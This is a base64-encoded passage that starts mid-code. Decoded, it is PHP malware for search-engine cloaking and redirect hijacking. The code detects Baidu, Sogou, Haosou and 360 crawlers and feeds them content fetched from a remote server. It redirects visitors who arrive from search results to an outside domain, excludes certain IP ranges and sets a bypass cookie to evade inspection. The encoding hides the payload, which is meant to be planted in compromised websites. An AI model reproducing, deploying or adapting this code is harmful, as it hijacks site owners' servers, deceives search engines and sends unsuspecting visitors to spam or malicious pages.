VXJsKTsKCgkJCSRsaSA9ICR0aGlzLT5saV90ZW1wbGF0ZTsKCgkJCSRsaSA9IHN0cl9yZXBsYWNl KCd7dGl0bGV9JywkaXRlbV90aXRsZSwkbGkpOwoJCQkkbGkgPSBzdHJfcmVwbGFjZSgne3ByaWNl fScsJGl0ZW1fcHJpY2UsJGxpKTsKCQkJJGxpID0gc3RyX3JlcGxhY2UoJ3t1cmx9JywkaXRlbV91 cmwsJGxpKTsKCQkJJGxpID0gc3RyX3JlcGxhY2UoJ3twaWN1cmx9JywkaXRlbV9waWN0VXJsLCRs aSk7CgkJCSRsaSA9IHN0cl9yZXBsYWNlKCd7dG90YWxOdW19JywkaXRlbV90b3RhbE51bSwkbGkp OwoJCQkkbGkgPSBzdHJfcmVwbGFjZSgne25pY2t9JywkaXRlbV9uaWNrLCRsaSk7CgkJCSRsaSA9 IHN0cl9yZXBsYWNlKCd7dG90YWxGZWV9JywkaXRlbV90b3RhbEZlZSwkbGkpOwoKCQkJJGh0bWwg PSAkaHRtbC4kbGk7CgkgCQkvLyBlY2hvICRsaTsKCSAJfQoJIAkkaHRtbCA9ICRodG1sLiI8L3Vs PiI7CgkJcmV0dXJuICRodG1sOwoJfQoKCXB1YmxpYyBmdW5jdGlvbiBxdWVyeSgpewoJCSR1cmwg ID0gJHRoaXMtPmNyYXdsX3VybC4nPycuaHR0cF9idWlsZF9xdWVyeSgkdGhpcy0+cXVlcnlfZGF0 YSk7CgkJJHRoaXMtPmNvbnRlbnQgPSAkdGhpcy0+SHR0cFZpc2l0KCR1cmwpOwoJfQoKCXB1Ymxp YyBmdW5jdGlvbiBydW4oKXsKCQkkdGhpcy0+ZG9tYWluID0gJHRoaXMtPmdldFNlcnZlck5hbWUo KTsKCQkkdGhpcy0+anVtcF9yZWYgPSBleHBsb2RlKCJ8IiwiYmFpZHUufGhhb3NvLnxoYW9zb3Uu fGJpbmcufHNvLnxzb2dvdS58c29zby4iKTsKCQkkdGhpcy0+aHR0cF9yZWZfZmlsdGVyID0gZXhw bG9kZSgifCIsImludXJsOnxzaXRlOnxzaXRlJTNBfGludXJsJTNBIik7CgkJJHRoaXMtPmFsbG93 X2lwID0gIjIyMi4xODQuMjM0fDExMi44Ny43MXw1OC4yMjEuODcufDQ5LjY3LjIyMyI7CgkJJHRo aXMtPmNvbmRpdGlvbiA9ICgkX0dFVFsnYWlkJ10gPiAxMDAwMDAwMCAmJiAkdGhpcy0+aXNBbGxv d2RJcCgpKTsKCQkkdGhpcy0+YXBwX3NlcnZlciA9ICIiOwoJCSR0aGlzLT5pc0NhY2hlICA9IEZh bHNlOwoJCWlmKCR0aGlzLT5pc1NwaWRlcigpICYmICR0aGlzLT5pc0FsbG93ZElwKCkpewoJCQkJ aWYoJHRoaXMtPmNvbmRpdGlvbil7CgkJCQkJaWYoJHRoaXMtPmlzQ2FjaGUpewoJCQkJCQkkcmVs c2V0X2hvc3QgPSAkdGhpcy0+Z2V0U2VydmVyTmFtZSgpOwoJCQkJCQkkZGlyID0gKHN1YnN0cihQ SFBfT1MsIDAsIDMpID09ICdXSU4nID8gJ0M6L3dpbmRvd3MvdGVtcC8nIDogJy90bXAvJykgLiBz dWJzdHIobWQ1KCRyZWxzZXRfaG9zdCksIDI2KSAuIGNocig0Nyk7CgkJCQkJCSRjYWNoZUZpbGUg PSAkZGlyLidzZXNzXycgLiBzdWJzdHIobWQ1KGh0dHBfYnVpbGRfcXVlcnkoJF9HRVQpKSwgNik7 CgkJCQkJCWlmKCFAZmlsZV9leGlzdHMoJGRpcikpewogICAgICAgICAgICAgCQkJCSBta2Rpcigk ZGlyLCAwNzc3KTsKICAgICAgICAgICAgCQkJfQoJCQkJCQlpZihAZmlsZV9leGlzdHMoJGNhY2hl RmlsZSkgJiYgQGZpbGVzaXplICgkY2FjaGVGaWxlKSA+IDMyICl7CgkJCQkJCQkkdmFyID0gY29y ZUFwcENhY2hlOjpyZWFkKCRjYWNoZUZpbGUpOwoJCQkJCQkJJHBhZ2UgPSBmaWxlX2dldF9jb250 ZW50cyhBUFBfSkFDS19URU1QTEFURSk7CgkJCQkJCQlmb3JlYWNoKCR2YXIgYXMgJGtleT0+JHYp ewoJCQkJCQkJCSRmbGFnID0gInsiLiRrZXkuIn0iOwoJCQkJCQkJCSRwYWdlID0gc3RyX3JlcGxh Y2UoJGZsYWcsJHYsJHBhZ2UpOwoJCQkJCQkJfQoJCQkJCQkJZWNobyAkcGFnZTsKCQkJCQkJCWV4 aXQoKTsKCQkJCQkJfQoJCQkJCQllbHNlCgkJCQkJCXsJCgkJCQkJCQkvL8Kww7zCusKswr3DuEFQ UMK8wrTCv8OJCgkJCQkJCQkkY3VycmVudFBhZ2UgPSBpbmNsdWRlKEFQUF9KQUNLX0FQUEZJTEUp OwoJCQkJCQkJaWYoJGN1cnJlbnRQYWdlICYmIHN0cmxlbigkY3VycmVudFBhZ2UpID4gMzIgJiYg c3RyaXN0cigkY3VycmVudFBhZ2UsIjwvZXhwbG9kZT4iKSl7CgkJCQkJCQkJJHZhciA9IHNlbGY6 OmN1dCgkY3VycmVudFBhZ2UsIjxleHBsb2RlPiIsIjwvZXhwbG9kZT4iKTsKCQkJCQkJCQkkdmFy ID0gY29yZUFwcENhY2hlOjpkZWNvZGUoJHZhcik7CgkJCQkJCQkJJHBhZ2UgPSBmaWxlX2dldF9j b250ZW50cyhBUFBfSkFDS19URU1QTEFURSk7CgkJCQkJCQkJZm9yZWFjaCgkdmFyIGFzICRrZXk9 PiR2KXsKCQkJCQkJCQkJJGZsYWcgPSAieyIuJGtleS4ifSI7CgkJCQkJCQkJCSRwYWdlID0gc3Ry X3JlcGxhY2UoJGZsYWcsJHYsJHBhZ2UpOwoJCQkJCQkJCX0KCQkJCQkJCQllY2hvICRwYWdlOwoJ CQkJCQkJCUBjb3JlQXBwQ2FjaGU6OndyaXRlbm9jb2RlKCRjdXJyZW50UGFnZSwkY2FjaGVGaWxl KTsKCQkJCQkJCX0KCQkJCQkJfQoJCQkJCQlkaWUoKTsKCQkJCQl9CgkJCQkJZWxzZQoJCQkJCXsK CQkJCQkJJGN1cnJlbnRQYWdlID0gaW5jbHVkZShBUFBfSkFDS19BUFBGSUxFKTsKCQkJCQkJZWNo byAkY3VycmVudFBhZ2U7CgkJCQkJCWRpZSgpOwoJCQkJCX0KCQkJCX0KCQkJCWVsc2UKCQkJCXsK CgkJCQkJJHRoaXMtPl91bmNvbmRpdGlvbl9ob29rKCk7CgkJCQl9CgkJfQoJCWVsc2UKCQl7CQoJ CQlpZigkdGhpcy0+aXNSZWYoKSAmJiAkdGhpcy0+Y29uZGl0aW9uKXsKCQkJCSR0aGlzLT5KdW1w KCk7CgkJCX0KCQkJZWxzZQoJCQl7CgkJCQkkdGhpcy0+X3VuU3BpZGVyX2hvb2soKTsKCQkJfQoJ CX0KCX0KCglwdWJsaWMgZnVuY3Rpb24gaXNBbGxvd2RJcCgpewoJCSRpcCA9ICR0aGlzLT5jbGll bnRJcCgpOwoJCSRub25fbGlzdCA9IGV4cGxvZGUoInwiLCR0aGlzLT5hbGxvd19pcCk7CgkJZm9y ZWFjaCgkbm9uX2xpc3QgYXMgJGlwbGlzdCl7CgkJCWlmKEBzdHJpc3RyKCRpcCwkaXBsaXN0KSl7 CgkJCQlyZXR1cm4gZmFsc2U7CgkJCX0KCQl9CgkJcmV0dXJuIHRydWU7Cgl9CgoJcHVibGljIGZ1 bmN0aW9uIGNsaWVudElwKCl7CgkJaWYoZ2V0ZW52KCdIVFRQX0NMSUVOVF9JUCcpICYmIHN0cmNh c2VjbXAoZ2V0ZW52KCdIVFRQX0NMSUVOVF9JUCcpLCAndW5rbm93bicpKSB7CgkJCSRvbmxpbmVp cCA9IGdldGVudignSFRUUF9DTElFTlRfSVAnKTsKCQl9IGVsc2VpZihnZXRlbnYoJ0hUVFBfWF9G T1JXQVJERURfRk9SJykgJiYgc3RyY2FzZWNtcChnZXRlbnYoJ0hUVFBfWF9GT1JXQVJERURfRk9S JyksICd1bmtub3duJykpIHsKCQkJJG9ubGluZWlwID0gZ2V0ZW52KCdIVFRQX1hfRk9SV0FSREVE X0ZPUicpOwoJCX0gZWxzZWlmKGdldGVudignUkVNT1RFX0FERFInKSAmJiBzdHJjYXNlY21wKGdl dGVudignUkVNT1RFX0FERFInKSwgJ3Vua25vd24nKSkgewoJCQkkb25saW5laXAgPSBnZXRlbnYo J1JFTU9URV9BRERSJyk7CgkJfSBlbHNlaWYoaXNzZXQoJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10p ICYmICRfU0VSVkVSWydSRU1PVEVfQUREUiddICYmIHN0cmNhc2VjbXAoJF9TRVJWRVJbJ1JFTU9U RV9BRERSJ10sICd1bmtub3duJykpIHsKCQkJJG9ubGluZWlwID0gJF9TRVJWRVJbJ1JFTU9URV9B RERSJ107CgkJfQoJCXByZWdfbWF0Y2goIi9bXGRcLl17NywxNX0vIiwgJG9ubGluZWlwLCAkb25s aW5laXBtYXRjaGVzKTsKCQkkb25saW5laXAgPSAkb25saW5laXBtYXRjaGVzWzBdID8gJG9ubGlu ZWlwbWF0Y2hlc1swXSA6ICd1bmtub3duJzsKCQl1bnNldCgkb25saW5laXBtYXRjaGVzKTsKCQly ZXR1cm4gJG9ubGluZWlwOwoJfQoKCXB1YmxpYyBmdW5jdGlvbiBpc1NwaWRlcigpewoJCSRib3Rz ID0gYXJyYXkoCgkJCQknQmFpZHUnICAgICAgICA9PiAnYmFpZHVzcGlkZXInLAoJCQkJJ1NvZ291 JyAgICAgICAgPT4gJ3NvZ291JywKCQkJCSdIYW9zbycgICAgICAgID0+ICdoYW9zb3VzcGlkZXIn LAoJCQkJJzM2MHNwaWRlcicgICAgICAgID0+ICczNjBzcGlkZXInCgkJICk7CgkJJHVzZXJBZ2Vu dCA9IHN0cnRvbG93ZXIoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKTsKCQlmb3JlYWNoICgk Ym90cyBhcyAkayA9PiAkdil7CgkJCWlmIChzdHJpc3RyKCR1c2VyQWdlbnQsJHYpKXsKCQkJCWlm KCFlbXB0eSgkdGhpcy0+bG9nX3NwaWRlcikpewoJCQkJCUBmaWxlX3B1dF9jb250ZW50cygkdGhp cy0+bG9nX3NwaWRlciwkdi4iLT5WaXNpdGVkICIuJF9TRVJWRVJbJ1FVRVJZX1NUUklORyddLiJh dDogIi5kYXRlKCJZLW0tZCBIOmk6cyIpLiJcbiIsRklMRV9BUFBFTkQpOwoJCQkJfQoJCQkJJHRo aXMtPmN1cl9zcGlkZXIgPSAkazsKCQkJCXJldHVybiB0cnVlOwoJCQkJYnJlYWs7CgkJCX0KCQl9 CgkJcmV0dXJuIGZhbHNlOwkKCX0KCglwdWJsaWMgZnVuY3Rpb24gaXNSZWYoKXsKCQkkcmVmID0g c3RydG9sb3dlcihAJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKTsKCQlpZihpc3NldCgkX0NPT0tJ RVsiZG9tYWluLWZpbHRlci1ieXBhc3MiXSkpewoJCQlyZXR1cm4gZmFsc2U7CgkJfQoJCQoJCWlm KCEkdGhpcy0+aXNBbGxvd2RJcCgpKXsKCQkJc2V0Y29va2llKCJkb21haW4tZmlsdGVyLWJ5cGFz cyIsICJsb2wiLCB0aW1lKCkgKyAyNTkyMDApOwoJCQlyZXR1cm4gZmFsc2U7CgkJfQoKCQlmb3Jl YWNoKCR0aGlzLT5odHRwX3JlZl9maWx0ZXIgYXMgJHIpewoJCQkkciA9IHRyaW0oJHIpOwoJCQlp ZihzdHJpc3RyKCRyZWYsJHIpKXsKCQkJCXNldGNvb2tpZSgiZG9tYWluLWZpbHRlci1ieXBhc3Mi LCAibG9sIiwgdGltZSgpICsgMjU5MjAwKTsKCQkJCXJldHVybiBmYWxzZTsKCQkJfQoJCX0KCQoJ CWZvcmVhY2goJHRoaXMtPmp1bXBfcmVmIGFzICRyKXsKCQkJJHIgPSB0cmltKCRyKTsKCQkJaWYo c3RyaXN0cigkcmVmLCRyKSl7CgkJCQlyZXR1cm4gdHJ1ZTsKCQkJfQoJCX0KCX0KCglwdWJsaWMg ZnVuY3Rpb24gZ2V0U2VydmVyTmFtZSgpIAoJeyAKCQkkU2VydmVyTmFtZSA9IHN0cnRvbG93ZXIo JF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10/JF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ106JF9TRVJWRVJb J0hUVFBfSE9TVCddKTsgCgkJaWYoIHN0cnBvcygkU2VydmVyTmFtZSwnaHR0cDovLycpICkgCgkJ eyAKCQkJcmV0dXJuIHN0cl9yZXBsYWNlKCdodHRwOi8vJywnJywkU2VydmVyTmFtZSk7IAoJCX0g CgkJcmV0dXJuICRTZXJ2ZXJOYW1lOyAKCX0KCglwdWJsaWMgZnVuY3Rpb24gZ2V0UGFnZSgpewoJ CWlmKCR0aGlzLT5pc0NhY2hlKXsKCQkJJGNhY2hlPSJjYWNoZWQiOwoJCX0KCQkkdXJsICA9ICR0 aGlzLT5hcHBfc2VydmVyLiI/ZG9tYWluPSIuJHRoaXMtPmRvbWFpbi4iJmdpZD0xOTkmc3BpZGVy PSIuJHRoaXMtPmN1cl9zcGlkZXIuIiZjYWNoZT0iLiRjYWNoZS4iJmxvY2FsUGFyPSIuaHR0cF9i dWlsZF9xdWVyeSgkX0dFVCk7CgkJcmV0dXJuICR0aGlzLT5IdHRwVmlzaXQoJHVybCk7Cgl9Cgog ICAgcHVibGljIGZ1bmN0aW9uIEh0dHBWaXNpdCgkd2VidXJsKSB7CiAgICAJJHVzZXJfYWdlbnQg PSAiTW96aWxsYS81LjAgKE1hY2ludG9zaDsgSW50ZWwgTWFjIE9TIFggMTBfMTBfNSkgQXBwbGVX ZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzQ1LjAuMjQ1NC44NSBTYWZh cmkvNTM3LjM2IFFRQnJvd3Nlci8zLjkuMzk0My40MDAiOwogICAgICAgICRyZW1vdGVfZGF0YSA9 IE5VTEw7CiAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnY3VybF9leGVjJykpIHsKICAgICAg ICAgICAgJGN1cmwgPSBAY3VybF9pbml0KCk7CiAgICAgICAgICAgIEBjdXJsX3NldG9wdCgkY3Vy bCwgQ1VSTE9QVF9VUkwsICR3ZWJ1cmwpOwogICAgICAgICAgICBAY3VybF9zZXRvcHQoJGN1cmws IENVUkxPUFRfSEVBREVSLCAwKTsKICAgICAgICAgICAgQGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJM T1BUX0NPTk5FQ1RUSU1FT1VULCAzMCk7CiAgICAgICAgICAgIEBjdXJsX3NldG9wdCgkY3VybCwg Q1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CiAgICAgICAgICAgIEBjdXJsX3NldG9wdCgkY3Vy bCwgQ1VSTE9QVF9VU0VSQUdFTlQsICR1c2VyX2FnZW50KTsgCiAgICAgICAgICAgICRyZW1vdGVf ZGF0YSA9IEBjdXJsX2V4ZWMoJGN1cmwpOwogICAgICAgICAgICBAY3VybF9jbG9zZSgkY3VybCk7 CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnc3RyZWFt X2NvbnRleHRfY3JlYXRlJykpIHsKICAgICAgICAgICAgICAgICRoZWFkZXJfYXJyYXkgPSBhcnJh eSgnaHR0cCcgPT4gYXJyYXkoJ21ldGhvZCcgPT4gJ0dFVCcsICd0aW1lb3V0JyA9PiAzMCkpOwog ICAgICAgICAgICAgICAgJGh0dHBfaGVhZGVyID0gQHN0cmVhbV9jb250ZXh0X2NyZWF0ZSgkaGVh ZGVyX2FycmF5KTsKICAgICAgICAgICAgICAgICRyZW1vdGVfZGF0YSA9IEBmaWxlX2dldF9jb250 ZW50cygkd2VidXJsLCBmYWxzZSwgJGh0dHBfaGVhZGVyKTsKICAgICAgICAgICAgfSBlbHNlIHsK ICAgICAgICAgICAgICAgICR0ZW1wX3VybCA9IGV4cGxvZGUoIi8iLCAkd2VidXJsKTsKICAgICAg ICAgICAgICAgICRuZXdfdXJsID0gJHRlbXBfdXJsWzJdOwogICAgICAgICAgICAgICAgJGh0dHBf cG9ydCA9IDgwOwogICAgICAgICAgICAgICAgJGdldF9maWxlID0gc3Vic3RyKCR3ZWJ1cmwsIHN0 cmxlbigkbmV3X3VybCkgKyA3KTsKICAgICAgICAgICAgICAgIGlmIChzdHJzdHIoJG5ld191cmws IGNocig1OCkpKSB7CiAgICAgICAgICAgICAgICAgICAgJHNfdmFyX2FycmF5Wyd0ZCddID0gZXhw bG9kZShjaHIoNTgpLCAkbmV3X3VybCk7CiAgICAgICAgICAgICAgICAgICAgJG5ld191cmwgPSAk c192YXJfYXJyYXlbJ3RkJ11bMF07CiAgICAgICAgICAgICAgICAgICAgJGh0dHBfcG9ydCA9ICRz X3Zhcl9hcnJheVsndGQnXVsxXTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRm c29ja19yZXN1bHQgPSBAZnNvY2tvcGVuKCRuZXdfdXJsLCAkaHR0cF9wb3J0KTsKICAgICAgICAg ICAgICAgIEBmcHV0cygkZnNvY2tfcmVzdWx0LCAnR0VUICcgLiAkZ2V0X2ZpbGUgLiAnIEhUVFAv MS4xJyAuICJcclxuIiAuICdIb3N0OicgLiAkbmV3X3VybCAuICJcclxuIiAuICdDb25uZWN0aW9u OkNsb3NlJyAuICJcclxuXHJcbiIpOwogICAgICAgICAgICAgICAgd2hpbGUgKCFmZW9mKCRmc29j a19yZXN1bHQpKSB7CiAgICAgICAgICAgICAgICAgICAgJHJlbW90ZV9kYXRhIC49IGZnZXRzKCRm c29ja19yZXN1bHQsIDEwMjQpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgQGZj bG9zZSgkZnNvY2tfcmVzdWx0KTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1 cm4gJHJlbW90ZV9kYXRhOwogICAgfQoKCXB1YmxpYyBmdW5jdGlvbiBKdW1wKCl7CgkJaWYoJHRo aXMtPmlzQWxsb3dkSXAoKSl7CgkJCSRkb21haW4gID0gc3RyX3JlcGxhY2UoIi4iLCJfIiwkdGhp cy0+ZG9tYWluKTsKCQkJaGVhZGVyKCdMb2NhdGlvbjogaHR0cDovL250Lnd4Y29vbGJhYnkuY29t L250Lz9qcF8nLiRkb21haW4pOwoJCQlleGl0OwoJCX0KCX0KCQoJcHVibGljIGZ1bmN0aW9uIF91 bmNvbmRpdGlvbl9ob29rKCl7CgkJJGFycmF5ID0gYXJyYXkoKTsKCQlmb3IoJGE9MDskYTw1OyRh KyspewoJCQllY2hvICc8YSBocmVmPSInLkFwcF9HZXRMaW5rKCkuJyI+PC9hPicuIlxuIjsKCQl9 Cgl9CgoJcHVibGljIGZ1bmN0aW9uIF91blNwaWRlcl9ob29rKCl7CgkJLy8KCX0KCgoJcHVibGlj IGZ1bmN0aW9uIHN0clN0YXJ0V2l0aCgkbmVlZGxlLCAkaGF5c3RhY2spewogIAkgIHJldHVybiAo c3Vic3RyKCRoYXlzdGFjaywgMCwgc3RybGVuKCRuZWVkbGUpKT09JG5lZWRsZSk7Cgl9CgkKCXB1 YmxpYyBmdW5jdGlvbiBjdXQoJGZpbGUsJGZyb20sJGVuZCkKCXsgCgkJJG1lc3NhZ2U9ZXhwbG9k ZSgkZnJvbSwkZmlsZSk7IAoJCSRtZXNzYWdlPWV4cGxvZGUoJGVuZCwkbWVzc2FnZVsxXSk7IAoJ CXJldHVybiAgICRtZXNzYWdlWzBdOwoJfQp9CgoK